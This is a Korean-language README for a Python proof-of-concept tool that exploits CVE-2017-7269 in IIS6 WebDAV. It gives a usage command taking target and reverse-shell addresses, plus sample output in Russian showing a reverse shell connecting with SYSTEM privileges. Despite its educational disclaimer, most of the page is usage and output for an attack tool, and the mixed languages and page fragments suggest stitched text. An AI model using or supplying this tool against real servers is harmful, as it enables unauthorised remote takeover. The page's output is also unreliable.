KO

GenWebDavIISExploit은 IIS6의 WebDAV 구성 요소에서 알려진 취약점을 이용하는 PoC 도구입니다. 이 도구는 취약점을 통해 원격 서버에서 임의 코드를 실행할 수 있는 방법을 보여주기 위해 교육 및 연구 목적으로 설계되었습니다.

면책 조항

이 프로젝트는 교육 목적으로만 제공됩니다. 이 도구는 책임감 있게 사용해야 하며, 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 컴퓨터 시스템 접근은 불법입니다.

기능

취약한 IIS6 WebDAV 서버에서 원격 코드 실행
사용자 지정 리버스 IP 및 포트를 통한 동적 페이로드 생성
빠른 익스플로잇을 위한 사용자 친화적 명령줄 인터페이스

사전 요구 사항

Python 3.x: 시스템에 Python 3가 설치되어 있어야 합니다.
네트워크 접근: 대상 시스템의 IP 및 포트에 연결할 수 있어야 합니다.

사용법

명령줄 인수

Target IP: 대상 IIS6 WebDAV 서버의 IP 주소
Target Port: WebDAV 서비스가 실행 중인 포트 번호 (일반적으로 80)
Reverse IP: 리버스 셸이 연결될 사용자의 IP 주소
Reverse Port: 리버스 셸을 수신할 사용자 시스템의 포트 번호

예제

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

사용 예시

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

예제 출력

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1

참고 사항

지정된 리버스 포트에서 수신 대기 중인 리스너가 있어야 들어오는 리버스 셸을 캡처할 수 있습니다.
이 도구는 취약점 테스트를 위해 권한이 부여된 시스템에서만 사용하십시오.

CVE-2017-7269

인기